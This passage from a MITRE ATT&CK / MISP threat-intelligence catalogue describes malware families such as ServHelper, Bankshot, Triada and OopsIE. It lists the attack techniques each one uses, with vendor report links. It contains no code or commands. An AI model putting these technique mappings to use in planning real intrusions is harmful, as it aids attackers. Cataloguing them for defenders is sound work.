- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5508. Table References

Links
https://attack.mitre.org/software/S0283
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools
https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques

ServHelper - S0382

[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-malware="ServHelper - S0382"*

ServHelper - S0382 is also known as:

- ServHelper

View relationships graph

ServHelper - S0382 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5509. Table References

Links
https://attack.mitre.org/software/S0382
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Proxysvc - S0238

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

The tag is: *misp-galaxy:mitre-malware="Proxysvc - S0238"*

Proxysvc - S0238 is also known as:

- Proxysvc

View relationships graph

Proxysvc - S0238 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5510. Table References

Links
https://attack.mitre.org/software/S0238
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

BrainTest - S0293

[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)

The tag is: *misp-galaxy:mitre-malware="BrainTest - S0293"*

BrainTest - S0293 is also known as:

- BrainTest

View relationships graph

BrainTest - S0293 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 5511. Table References

Links
http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/
https://attack.mitre.org/software/S0293
https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/

Bankshot - S0239

[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)

The tag is: *misp-galaxy:mitre-malware="Bankshot - S0239"*

Bankshot - S0239 is also known as:

- Bankshot
- Trojan Manuscript

View relationships graph

Bankshot - S0239 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5512. Table References

Links
https://attack.mitre.org/software/S0239
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Tangelo - S0329

[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)

The tag is: *misp-galaxy:mitre-malware="Tangelo - S0329"*

Tangelo - S0329 is also known as:

- Tangelo

View relationships graph

Tangelo - S0329 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5513. Table References

Links
https://attack.mitre.org/software/S0329
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

VBShower - S0442

[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)

The tag is: *misp-galaxy:mitre-malware="VBShower - S0442"*

VBShower - S0442 is also known as:

- VBShower

View relationships graph

VBShower - S0442 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5514. Table References

Links
https://attack.mitre.org/software/S0442
https://securelist.com/recent-cloud-atlas-activity/92016/

Comnie - S0244

[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)

The tag is: *misp-galaxy:mitre-malware="Comnie - S0244"*

Comnie - S0244 is also known as:

- Comnie

View relationships graph

Comnie - S0244 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5515. Table References

Links
https://attack.mitre.org/software/S0244
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

Triada - S0424

[Triada](https://attack.mitre.org/software/S0424) was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps.(Citation: Kaspersky Triada March 2016)

The tag is: *misp-galaxy:mitre-malware="Triada - S0424"*

Triada - S0424 is also known as:

- Triada

View relationships graph

Triada - S0424 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Code Injection - T1540" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5516. Table References

Links
https://attack.mitre.org/software/S0424
https://www.kaspersky.com/blog/triada-trojan/11481/

BADCALL - S0245

[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)

The tag is: *misp-galaxy:mitre-malware="BADCALL - S0245"*

BADCALL - S0245 is also known as:

- BADCALL

View relationships graph

BADCALL - S0245 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5517. Table References

Links
https://attack.mitre.org/software/S0245
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF

PLAINTEE - S0254

[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-malware="PLAINTEE - S0254"*

PLAINTEE - S0254 is also known as:

- PLAINTEE

View relationships graph

PLAINTEE - S0254 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5518. Table References

Links
https://attack.mitre.org/software/S0254
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

USBferry - S0452

[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: *misp-galaxy:mitre-malware="USBferry - S0452"*

USBferry - S0452 is also known as:

- USBferry

View relationships graph

USBferry - S0452 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5519. Table References

Links
https://attack.mitre.org/software/S0452
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf

CARROTBAT - S0462

[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-malware="CARROTBAT - S0462"*

CARROTBAT - S0462 is also known as:

- CARROTBAT

View relationships graph

CARROTBAT - S0462 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5520. Table References

Links
https://attack.mitre.org/software/S0462
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

HARDRAIN - S0246

[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)

The tag is: *misp-galaxy:mitre-malware="HARDRAIN - S0246"*

HARDRAIN - S0246 is also known as:

* HARDRAIN

View relationships graph

HARDRAIN - S0246 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5521. Table References

Links
https://attack.mitre.org/software/S0246
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

BADFLICK - S0642

[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)

The tag is: *misp-galaxy:mitre-malware="BADFLICK - S0642"*

BADFLICK - S0642 is also known as:

- BADFLICK

View relationships graph

BADFLICK - S0642 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5522. Table References

Links
https://attack.mitre.org/software/S0642
https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

OopsIE - S0264

[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)

The tag is: *misp-galaxy:mitre-malware="OopsIE - S0264"*

OopsIE - S0264 is also known as:

- OopsIE

View relationships graph

OopsIE - S0264 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
